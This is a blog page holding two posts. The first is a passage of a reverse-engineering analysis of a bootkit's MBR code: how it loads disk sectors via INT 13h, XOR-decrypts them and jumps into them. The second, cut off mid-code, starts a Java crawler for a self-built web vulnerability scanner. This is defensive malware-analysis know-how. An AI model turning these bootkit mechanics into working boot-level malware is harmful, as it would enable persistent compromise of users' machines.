<span style="font-family: trebuchet ms;"><span style="font-family: arial;">As explained above, the result buffer will be loaded starting at memory offset 86Fh. Sixteen bytes ahead of this offset (at 87Fh) is located the 8-byte value of the number of sectors of the disk, by reviewing the memory dump of the affected system, we confirm that this value is: 9502F90, as shown below:</span></span></div>
<span style="font-family: trebuchet ms;"><br /></span></div>
<div style="text-align: center;">
<div style="font-family: arial; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh49K-r27FzOcZQJWtwon3B0A6-Vj2-2mvhLJoNFMD8cbk2shpGsadev7oAA8gzJw8pgC9hwbZKPvYJXU5-o1OK3AhqPdtb_tvV8WeHayiw6YIml3jVs3uxd1mm1eUxq449LoAXXd8KhQzN/s1600/seg2.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh49K-r27FzOcZQJWtwon3B0A6-Vj2-2mvhLJoNFMD8cbk2shpGsadev7oAA8gzJw8pgC9hwbZKPvYJXU5-o1OK3AhqPdtb_tvV8WeHayiw6YIml3jVs3uxd1mm1eUxq449LoAXXd8KhQzN/s320/seg2.jpg" id="BLOGGER_PHOTO_ID_5595944860093469234" style="cursor: pointer; height: 71px; width: 320px;" /></a></div>
<span style="font-family: trebuchet ms;"><span style="font-style: italic;"><br /></span></span>
<div style="text-align: left;">
<span style="font-family: trebuchet ms;"><span style="font-style: italic;"><span style="font-family: arial;">But, wait a second, why does the Malware need the hard disk parameters</span>?</span><br /><span style="font-family: arial;">Response: The total number of sectors of the hard disk is going to be a parameter used by the INT 13 extension 42h to know the last sector to be loaded in memory! See next section for more details</span>.</span></div>
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><br /></span></span></span>
<div style="text-align: left;">
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: arial;">So, let's analyze the INT 13 with the extension 42h, which means, load data from disk into memory</span>.</span></span></span><br />
<br />
<span style="font-family: trebuchet ms;"><span style="font-weight: bold;">Decryption Process - Function sub_76</span></span><span style="font-family: arial;"> </span><span style="font-family: trebuchet ms;"><span style="font-weight: bold;">Extension 42h - Load disk data into memory</span></span> <span style="font-family: trebuchet ms;"><br /><br /><span style="font-family: arial;">The function sub_76 (name represented by IDA) contains the logic to the decrypt the sectors stored in the hard disk, as an overview, the main steps of this function are shown below</span>:</span> <br />
<ul>
<li style="font-family: arial;">Load next sector from disk to memory.</li>
<li style="font-family: arial;">Decrypt the sector loaded (via XOR function).</li>
<li style="font-family: arial;">Copy the decrypted chunk to another section in memory.</li>
<li style="font-family: arial;">Is this the last sector to be copied? if no, go to point 1.</li>
<li><span style="font-family: trebuchet ms;"><span style="font-family: arial;">If yes, jump to offset of the decrypted code in memory</span>.</span></li>
</ul>
<span style="font-family: trebuchet ms;"><span style="font-family: arial;">So, as mentioned above, the first step in this process is to load those sectors in memory as shown in the chunk below</span>:</span> </div>
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><br /></span></span><br />
<div style="text-align: center;">
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgqVUdur5esn4RIOv8j4X3FO-Jh4SeGOmEGV6j7ctHdkFs15mV2LP_eIKAz3VxpuKmcaThMXiUGNhSBA90DVwltbadyUhGNiHW4BUigP_9rn8GEOEZClSqCm2VFgvk-O4-IxDn3lJhZDnz/s1600/tds6.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" style="font-family: arial;"><img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgqVUdur5esn4RIOv8j4X3FO-Jh4SeGOmEGV6j7ctHdkFs15mV2LP_eIKAz3VxpuKmcaThMXiUGNhSBA90DVwltbadyUhGNiHW4BUigP_9rn8GEOEZClSqCm2VFgvk-O4-IxDn3lJhZDnz/s320/tds6.jpg" id="BLOGGER_PHOTO_ID_5587419672532169282" style="cursor: pointer; height: 183px; width: 320px;" /></a></span></span><br />
<div style="text-align: left;">
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><br /></span></span>
<div style="text-align: left;">
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: arial;">You will need to check the </span><a href="http://www.t10.org/t13/technical/d98120r0.pdf" style="font-family: arial;">EDDS article</a><span style="font-family: arial;"> to understand the parameters required for this extension.</span></span></span><br />
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: arial;">Note: To help in your calculations, DS</span> = 0.</span></span></span><br />
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><br /></span></span>
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: arial;">Code explanation</span>:</span></span></span><br />
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><br /></span></span>
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"> <span style="font-weight: bold;">007C</span></span><span style="font-family: trebuchet ms;">: Number of sectors to transfer. It is set at offset 2 of the Device packet driver which corresponds to offset 861h in memory.</span></span></span><br />
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"> <span style="font-weight: bold;">0086</span>:</span><span style="font-family: trebuchet ms;"> Address of Transfer buffer: Address where the sector will be loaded in memory: <span style="font-weight: bold;">88Dh</span>.</span></span></span><br />
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-weight: bold;">008C - 009B</span> - </span><span style="font-family: trebuchet ms;">Starting logical block address - LBA: The sector from disk to be loaded. The 8-byte-syze address is copied from offset 87Fh to 867h in memory via push and pop instructions.</span></span></span><br />
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><br /></span></span>
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: arial;">By looking at the memory dump we found this LBA value: 000009502F59 at offset 8, but that does not mean this is the only one, actually, my assumption is that this is the last one copied from disk to memory (we confirmed this below), keep in mind the Malware will load different sectors from disk to memory</span>.</span></span></span><br />
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: arial;">So, as explained above (see section 2.1), we confirmed that the last sector of the hard disk is the first one loaded in memory, in our case the value is: 9502F90 hex = 156250000 dec</span>.</span></span></span><br />
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><br /></span></span>
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: arial; font-weight: bold;">00A2:</span><span style="font-family: arial;"> Every time a sector is going to be loaded in memory, the total number of sectors is reduced by EAX times (1, 2, 3 and so on), this way, some sectors from the disk (starting from the final one) are copied to memory in every loop</span>.</span></span></span><br />
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><br /></span></span>
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-weight: bold;">00A7</span>: </span><span style="font-family: trebuchet ms;">The 4 Higher bits of the LBA address are subtracted by 1 in case there is negative number: </span><span style="font-family: trebuchet ms;">The sbb instruction is used since we are dealing with 16 bit registers and therefore we need to take care of the borrow when a negative number is reached.</span></span></span><br />
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><br /></span></span>
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;">To better understand this, See below example:</span></span></span><br />
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;">AH = 876D</span></span></span><br />
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;">AL= 0000</span></span></span><br />
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;">If AL is subtracted by 1 it will generate a borrow.</span></span></span><br />
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;">AL = 0000 - 0001 = FFFF; Since this generates a borrow, AH needs to be subtracted by one</span></span></span><br />
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;">AH = 876D - 1 = 876C or sbb AH, 0</span></span></span><br />
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><br /></span></span>
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;">Final result : 876CFFFF - Got it????????</span></span></span><br />
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><br /></span></span>
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;">In our code shown in the figure above, the four higher bits start at offset 86B since it is in <a href="http://en.wikipedia.org/wiki/Endianness">little-endian</a> order.</span></span></span><br />
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><br /></span></span>
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: arial;"><span style="font-weight: bold;">00AF</span>: - The int 13h will use a structure called "Device Address Packet" which its offset is at DS:SI in memory. Here we can see the offset is at <span style="font-weight: bold;">85Fh</span></span><span style="font-family: arial; font-weight: bold;">.</span></span></span><br />
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><br /></span></span>
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;">Quick note: </span></span></span><br />
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-size: 85%; font-style: italic;">a) Number of bytes per sector of your hard disk: Can be found by looking at hard disk properties (you can use the linux command dmesg to get this info) in our case this value is 512 bytes per sector.</span></span> <span style="font-family: arial; font-size: 85%; font-style: italic;">b) Number of sectors per disk: via dmesg command or: total bytes of hard disk / 512.</span></span></span><br />
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;">NOTE - LBA:</span></span></span><br />
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><br /></span></span>
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;">"</span><span style="font-family: arial; font-style: italic;">With LBA, instead of referring to a drives cylinder, head and sector number geometry in order to access or "address" it, each sector is assigned a unique "sector number". In essence, LBA is a means by which a drive is accessed by linearly addressing sector addresses, beginning at sector 1 of head 0, cylinder 0 as LBA 0, and proceeding on in sequence to the last physical sector on the drive, which, for instance, on a standard 540 Meg drive would be LBA 1,065,456</span><span style="font-family: arial; font-style: italic;">.</span><span style="font-family: trebuchet ms;">"</span><span style="font-family: arial;"> </span><span style="font-family: trebuchet ms;">by <span style="font-size: 85%; font-weight: bold;">http://www.dewassoc.com/kbase/hard_drives/lba.htm</span></span><span style="font-family: arial;"> </span><span style="font-family: trebuchet ms;"><br /><br />Below is the memory dump showing the confirmation of the new values identified:</span></span></span></div>
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><br /></span></span></span>
<div style="font-family: arial; text-align: center;">
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKSckT9aIjg-Lr3XbpjEUuARvckdIbj0sIUp8TGjPVkwyihYMjfgAeEApqOY4ECjPIANEjfMi6_KRuj6l0sYPWqLmdzkJYe3XR-PdRE4hiHahEvZT9lGdMEv11CCk1DIHb0FhAmcttpl2H/s1600/tds7.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKSckT9aIjg-Lr3XbpjEUuARvckdIbj0sIUp8TGjPVkwyihYMjfgAeEApqOY4ECjPIANEjfMi6_KRuj6l0sYPWqLmdzkJYe3XR-PdRE4hiHahEvZT9lGdMEv11CCk1DIHb0FhAmcttpl2H/s320/tds7.jpg" id="BLOGGER_PHOTO_ID_5587529314357944498" style="cursor: pointer; height: 81px; width: 320px;" /></a></span></span></div>
<div style="font-family: arial; text-align: center;">
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><br /></span></span></div>
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;">Which means, the data is being loaded at offset 88Dh in the memory space.<br /><br />Something to keep in mind is that the LBA address found at memory was </span><span style="font-family: trebuchet ms;">09502F59 and the last sector is 09502F90, this could be the range copied (backwards) from disk to memory, we will confirm this later.</span><span style="font-family: arial;"> </span><span style="font-family: arial;">Quick tip-Getting sectors with dd tool:</span></span></span><br />
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><br /><span style="font-size: 85%; font-style: italic;">dd if=/dev/sdb bs=512 skip=156249944 count = 2 >out</span><span style="font-size: 85%; font-style: italic;"> Where </span></span><span style="font-family: trebuchet ms; font-size: 85%; font-style: italic;">156249944d = </span><span style="font-family: arial; font-size: 85%; font-style: italic;"><span style="font-family: arial;">09502F59h the block detected in memory</span><br /></span><span style="font-family: trebuchet ms; font-weight: bold;">Decrypt the sector loaded (via XOR function)<br /></span><span style="font-family: trebuchet ms;"><span style="font-family: arial;"></span><span style="font-family: arial;">Once the encrypted sectors has been loaded in memory, the funny part begins, which is the code related to the decryption process as shown below:</span><br /></span></span></span><br />
<div style="font-family: arial; text-align: center;">
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5OATcl8sUf2bcNUJTvRbDFW4RRRLXZ46RJoitaCEZx8ELpOmUnj2qsKRP5w1lUhhyphenhyphenN7kc3tJLZYbGCFNhCg2JioDwcHAO17blZvVCEpyj-iOIEHfTbeJP-FaRaMI5VunrnFPv__nJzTe8/s1600/seg1.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5OATcl8sUf2bcNUJTvRbDFW4RRRLXZ46RJoitaCEZx8ELpOmUnj2qsKRP5w1lUhhyphenhyphenN7kc3tJLZYbGCFNhCg2JioDwcHAO17blZvVCEpyj-iOIEHfTbeJP-FaRaMI5VunrnFPv__nJzTe8/s320/seg1.jpg" id="BLOGGER_PHOTO_ID_5595915913231815794" style="cursor: pointer; height: 320px; width: 308px;" /></a></span></span></div>
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms; font-size: 100%;"><br /><span style="font-family: arial; font-weight: bold;">00C4</span><span style="font-family: arial;">: The code will zero out all the bytes starting at offset 75D and until 85C, why only FFh (255 bytes)? because the loop is calculated based on </span><span style="font-family: arial; font-weight: bold;">BL</span><span style="font-family: arial;"> register which is 8-bytes length and therefore after FFh the next value is 100 (BH=01 , BL=00) which sets bl to 0 and the loop ends.</span><span style="font-family: arial;"> </span><span style="font-family: arial;">From </span><span style="font-family: arial; font-weight: bold;">00CC</span><span style="font-family: arial;"> to </span><span style="font-family: arial; font-weight: bold;">00ED </span><span style="font-family: arial;">the same range (75D - 85C) is set with different values based on multiple calculations.</span><br /></span><span style="font-family: trebuchet ms; font-weight: bold;">Decryption loop:</span><span style="font-family: trebuchet ms;"><br />In the first two instructions of below code we can see that since the last byte affected by previous code (see above) was at offset 85C, now, the next byte to be change is at offset 85D and then 85E, this shows how the bootkit is preparing the proper bytes to be used during decryption process.</span><span style="font-family: trebuchet ms; font-weight: bold;"><br /></span></span></span></span><br />
<div style="text-align: center;">
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms; font-weight: bold;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhb_HzVCzB7OGfFhhdYe2mvGTbuA1Zdwpdjm4CdGiJML_-bG7gbfquYvck1w9DJv-9ZDa9Xn6R-N40gkgw5zN3OKF42jakbFQAvCcbu8O0M4CuLCaB50FU4iBdBHo82eFpVocZlo9U8mVg-/s1600/xor.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhb_HzVCzB7OGfFhhdYe2mvGTbuA1Zdwpdjm4CdGiJML_-bG7gbfquYvck1w9DJv-9ZDa9Xn6R-N40gkgw5zN3OKF42jakbFQAvCcbu8O0M4CuLCaB50FU4iBdBHo82eFpVocZlo9U8mVg-/s320/xor.jpg" id="BLOGGER_PHOTO_ID_5624480946621580962" style="cursor: pointer; height: 278px; width: 320px;" /></a></span></span></span></div>
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms; font-weight: bold;"></span></span></span><br />
<div>
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms; font-weight: bold;"><span style="font-family: arial; font-weight: normal;"><span style="font-family: arial;"><br /><span style="font-family: arial;">The decryption loop starts at offset 0109, some calculations are performed to calculate the encryption key, which is going to be stored at register </span><span style="font-family: arial; font-weight: bold;">CL</span><span style="font-family: arial;">, </span></span></span><span style="font-family: arial; font-weight: normal;">and finally at instruction 012B the XOR function is executed against the content where SI is pointing to which is (see above) the offset 88D where the first byte from disk was loaded. A sector of 512 bytes is going to be decrypted as expected, we can confirm this by checking the value of register <span style="font-weight: bold;">DX</span> which is the counter of this loop and is set to 200h (512 bytes) at the instruction 00FA.</span><span style="font-family: arial; font-weight: bold;"><br /><br />Jumping to the decrypted code in Memory </span><span style="font-family: arial; font-weight: normal;"><br /><br />Once</span><span style="font-family: arial; font-weight: bold;"> </span><span style="font-family: arial; font-weight: normal;">all</span><span style="font-family: trebuchet ms;"><span style="font-family: arial; font-weight: bold;"> </span><span style="font-weight: normal;"><span style="font-family: arial;">the sectors loaded from disk have been decrypted in memory, it is time to jump to the new instructions. In the code below we can see two important things:</span><br /><br /><span style="font-family: arial;">1. </span><span style="font-family: arial; font-weight: bold;">060 - 067</span><span style="font-family: arial;">: Decrypted code is being moved from SI (893h) to DI (calculated at runtime) CX number of times. Here is where decrypted code is being loaded into memory, this step happens every time one sector has been decrypted.</span><br /><br /><span style="font-family: arial;">2. </span><span style="font-family: arial; font-weight: bold;">069 - 071</span><span style="font-family: arial;">: The value at offset 891h in memory will call the decryption function if more sectors need to be decrypted, otherwise will jump to the decrypted code in memory.</span><br /></span></span></span></span></span><br />
<div style="text-align: center;">
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms; font-weight: bold;"><span style="font-family: trebuchet ms;"><span style="font-weight: normal;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9H241aV1WAZRRitFEuti9SgNHYSYZ-GTuJla36xb20qDIkWri6BeYd8_vbLlzOFnMNm7w5rgRrBpDMpWhMqU6fMmcgB24Ss-24mhM8GiyYTOjWNfVJNJZaGiKYLtQXEqJoXEwkZGqfYP8/s1600/xor2.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9H241aV1WAZRRitFEuti9SgNHYSYZ-GTuJla36xb20qDIkWri6BeYd8_vbLlzOFnMNm7w5rgRrBpDMpWhMqU6fMmcgB24Ss-24mhM8GiyYTOjWNfVJNJZaGiKYLtQXEqJoXEwkZGqfYP8/s320/xor2.jpg" id="BLOGGER_PHOTO_ID_5624486933057716802" style="cursor: pointer; height: 119px; width: 320px;" /></a></span></span></span></span></span></div>
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms; font-weight: bold;"><span style="font-family: trebuchet ms;"><span style="font-weight: normal;"><br /><br /><span style="font-family: arial;"><span style="font-weight: bold;">Next Steps</span><br /><br />The next step will be to create a perl script to decrypt the hard disk sectors and come up with the next set of instructions. Specifically, we will be analyzing how the INT 13 Hooking is being implemented!!!! and how the malicious kernel-level drivers are loaded before the OS starts.<br /><br />Currently I am swamped with other stuff but I will try to dedicate some hours in the near future. Meanwhile, please share any thoughts.</span><br /><br /><span style="font-family: arial;">Thanks.</span></span></span></span></span></span><br />
<div style="font-family: arial; text-align: center;">
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms; font-weight: bold;"><br /></span></span></span></div>
<span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms;"><span style="font-family: trebuchet ms; font-weight: bold;"><span style="font-family: trebuchet ms;"><span style="font-weight: normal;"><br /></span></span></span></span></span></div>
</div>
</div>
</div>
Danuxhttp://www.blogger.com/profile/06729243424924753220noreply@blogger.com6tag:blogger.com,1999:blog-4984553587728477254.post-15757751927633259592009-08-11T10:31:00.000-07:002010-07-18T19:04:10.844-07:00Getting started - The CrawlerOk, first off, lets define the name of this baby, which will be the first Web Based App Scanner which will try to resolve all different issues and missing features found in other similar tools.<br /><br />And it is called to be the Next Generation Web Scanner because of new features so keep reading coming posts.<br /><br />NOTE: The main purpose of the creation of this tool is to learn the guts of this kind of testing.<br /><br />So, the name of this baby is NeZa. Why? I will explain you in coming posts.<br /><br />Ok, basically the big picture constitutes 4 steps:<br /><br /><ol><li>A crawler: To give the "carnita" (meat) to our attack engine.</li><li> An attack engine: To send different kinda attacks to Web app and analyze the response to identify potential flaws.</li><li> Defect Management: We got a bug, then? insert the bug in the QA process until it is closed and help:<br /></li></ol><div style="text-align: left;"><ul><li><span style="font-size:85%;"><span style="font-weight: bold;">The developer</span> by preparing technical description of the bug.</span></li><li><span style="font-size:85%;"><span style="font-weight: bold;">The tester</span> to reproduce the defect easily (in a right-click way) to eliminate false positives.</span></li><li><span style="font-size:85%;"><span style="font-weight: bold;">Business</span> to prepare non technical, self explained Proof of concepts.</span></li><li><span style="font-size:85%;"> <span style="font-weight: bold;">Developers</span> to point out the line of code that needs to be fixed. This means Dynamic and Static combination. No one tool do this actually, we will try.</span></li></ul> 4. Next Generation Features!!!!!!!!!!!!!!<br /><br /></div>Before starting with our Crawler design, make a note of the Development environment I will be using so that you can copy the code explained into your framework without problems.<br /><br /><span style="font-weight: bold;">Environment Details:</span><br /><br />IDE : MyEclipse<br />Lang: Java<br />Web Server/App: Tomcat 6.0<br />Technology used:<br />Apache Struts<br />Dojo for Ajax<br />Castor for XML marshalling<br /><br /><span style="font-weight: bold;">Getting started with Crawler</span><br /><br /><span style="font-weight: bold;">Goal:</span> Identify in an automated way all URL's related to a specific web site.<br /><br />I used the public code of a multi-threaded Webcrawler that I found in Internet from Andreas Hess which you can found here:<br /><br /><span style="color: rgb(51, 102, 255);">http://www.andreas-hess.info/programming/webcrawler/index.html</span><br /><br />The crawler use a ThreadController which tracks the execution of each thread running which I liked it because I am planning to use this feature to communicate via AJAX the status of Urls being identified while showing them in the browser. But this is part of future features.<br /><span style="font-size:130%;"><br /><span style="font-weight: bold;">Main steps of the Crawler:</span></span><br /><br />1. <span style="font-weight: bold;">Put Starting URL in the queue</span><br /><br /><span style="color: rgb(51, 102, 255);">URLQueue q = new URLQueue();</span><br /><span style="color: rgb(51, 102, 255);"> q.setHostname(startURL.getHost());</span><br /><span style="color: rgb(0, 0, 153);"><span style="color: rgb(51, 102, 255);"> q.push(startURL, 0); </span><span style="color: rgb(255, 0, 0);"><br />//Adding starting URL to the queue</span></span><br /><span style="color: rgb(255, 0, 0);">// Setting maxLevels (URL sublinks) to analyze</span><br /><span style="color: rgb(255, 0, 0);"> //Also number of threads to use</span><br /><span style="color: rgb(0, 0, 153);"> <span style="color: rgb(51, 102, 255);">new Crawler(q, _maxLevel, _maxThread); </span></span><br /><br /><br />2. <span style="font-weight: bold;">Get first URL from queue</span><br /><br /><span style="color: rgb(0, 0, 153);"><span style="color: rgb(255, 0, 0);">//We get first URL from queue to start analyzing it</span>.</span><br /><span style="color: rgb(51, 102, 255);">for (Object newTask = queue.pop(level); </span><br /><span style="color: rgb(51, 102, 255);"> newTask != null;</span><br /><span style="color: rgb(51, 102, 255);"> newTask = queue.pop(level)) {</span><br /><span style="color: rgb(0, 0, 153);"> <span style="color: rgb(255, 0, 0);">// Tell the message receiver what we're doing now</span></span><br /><span style="color: rgb(0, 0, 153);"> <span style="color: rgb(51, 102, 255);">mr.receiveMessage(newTask, id);</span></span><br /><span style="color: rgb(0, 0, 153);"> <span style="color: rgb(255, 0, 0);">// Process the newTask </span></span><br /><span style="color: rgb(0, 0, 153);"> <span style="color: rgb(51, 102, 255);">process(newTask, queue.getHostname());</span></span><br /><span style="color: rgb(51, 102, 255);">}</span><br /><br />3. <span style="font-weight: bold;">Save Document from URL</span>. We call get URL to Open a connection to the Web Site and get the content<br /><br /><span style="color: rgb(0, 0, 153);">/**</span><br /><span style="color: rgb(0, 0, 153);"> * <span style="color: rgb(255, 0, 0);">Writes the contents of the url to a string by calling saveURL with a</span></span><br /><span style="color: rgb(255, 0, 0);"> * string writer as argument</span><br /><span style="color: rgb(0, 0, 153);"> */</span><br /><span style="color: rgb(51, 102, 255);">public static String getURL(URL url)</span><br /><span style="color: rgb(51, 102, 255);"> throws IOException {</span><br /><span style="color: rgb(51, 102, 255);"> StringWriter sw = new StringWriter();</span><br /><span style="color: rgb(51, 102, 255);"> saveURL(url, sw);</span><br /><span style="color: rgb(51, 102, 255);"> return sw.toString();</span><br /><span style="color: rgb(51, 102, 255);">}</span><br /><br /><span style="color: rgb(255, 0, 0);">/**</span><br /><span style="color: rgb(255, 0, 0);"> * Opens a buffered stream on the url and copies the contents to OutputStream</span><br /><span style="color: rgb(255, 0, 0);"> */</span><br /><span style="color: rgb(51, 102, 255);">public static void saveURL(URL url, OutputStream os)</span><br /><span style="color: rgb(51, 102, 255);"> throws IOException {</span><br /><span style="color: rgb(51, 102, 255);"> InputStream is = url.openStream();</span><br /><br /><span style="color: rgb(51, 102, 255);"> byte[] buf = new byte[1048576];</span><br /><span style="color: rgb(51, 102, 255);"> int n = is.read(buf);</span><br /><span style="color: rgb(51, 102, 255);"> while (n != -1) {</span><br /><span style="color: rgb(51, 102, 255);"> os.write(buf, 0, n);</span><br /><span style="color: rgb(51, 102, 255);"> n = is.read(buf);</span><br /><span style="color: rgb(51, 102, 255);"> }</span><br /><span style="color: rgb(51, 102, 255);">}</span><br /><br /><br />4. <span style="font-weight: bold;">Extract links from document</span>. Here I added support to extract links from area, frames and iframes.<br /><br />We call this function: saveURL.extractlinks.<br /><br /><span style="color: rgb(51, 102, 255);">public static Vector extractLinks(String rawPage, String page) {</span><br /> <br /><span style="color: rgb(51, 102, 255);"> int i = 0; </span><br /><span style="color: rgb(51, 102, 255);"> final int ROWS = 4;</span><br /><span style="color: rgb(51, 102, 255);"> final int COLS = 2;</span><br /><br /><span style="color: rgb(51, 102, 255);"> Vector links = new Vector();</span><br /><span style="color: rgb(51, 102, 255);"> String[][] tags;</span><br /><span style="color: rgb(51, 102, 255);"> tags = new String [ROWS][COLS];</span><br /><br /><span style="color: rgb(255, 0, 0);">//Getting links via href, area, frames and iframes</span><br /><span style="color: rgb(51, 102, 255);"> tags[0][0] = "<a "; tags[0][1] = "href"; </span><br /><span style="color: rgb(51, 102, 255);"> tags[1][0] = "<area "; tags[1][1] = "href"; </span><br /><span style="color: rgb(51, 102, 255);"> tags[2][0] = "<frame "; tags[2][1] = "src"; </span><br /><span style="color: rgb(51, 102, 255);"> tags[3][0] = "<iframe "; tags[3][1] = "src";</span> <br /><span style="color: rgb(51, 102, 255);"> int index = 0;</span><br /><span style="color: rgb(51, 102, 255);"> int index2 = 0;</span><br /><br /><span style="color: rgb(51, 102, 255);"> String strLink = "";</span><br /><span style="color: rgb(51, 102, 255);"> String remaining = "";</span><br /><span style="color: rgb(51, 102, 255);"> StringTokenizer st;</span><br /><br /><br /><span style="color: rgb(51, 102, 255);"> for (i = 0; i< ROWS; i++){ index = 0; index2 = 0; while ((index = page.indexOf(tags[i][0], index)) != -1 ) { </span><br /><br /><span style="color: rgb(51, 102, 255);"> if ((index = page.indexOf(tags[i][1], index)) == -1) break; </span><br /><span style="color: rgb(51, 102, 255);"> if ((index = page.indexOf("=", index)) == -1) break; </span><br /><span style="color: rgb(51, 102, 255);"> if ((index2 = page.indexOf("mailto", index)) != -1) break; </span><br /><br /><span style="color: rgb(51, 102, 255);"> remaining = rawPage.substring(++index).replaceAll("^\\s+", ""); </span><br /><span style="color: rgb(51, 102, 255);"> st = new StringTokenizer(remaining, "\t\n\r\"'>#");</span><br /><span style="color: rgb(51, 102, 255);"> strLink = st.nextToken();</span><br /><span style="color: rgb(51, 102, 255);"> if (! links.contains(strLink)) links.add(strLink);</span><br /><span style="color: rgb(51, 102, 255);"> }</span><br /><span style="color: rgb(51, 102, 255);"> } </span><br /><span style="color: rgb(51, 102, 255);"> return links;</span><br /><span style="color: rgb(51, 102, 255);"> }</span><br /><br /><br />Also created a validation to make sure only links related to the domain analyzed are added. Which means, if you scan an app and there is a link to google.com, you should not add that link right?<br /><br />5. <span style="font-weight: bold;">Add Linked URLS to the Queue</span><br /><br />We iterate through link vector.<br /><br />NOTE: The new links identified are added to a second Queue (level + 1). The crawler only use 2 queues for current and next links identified.<br /><br /><span style="color: rgb(51, 102, 255);">for (int 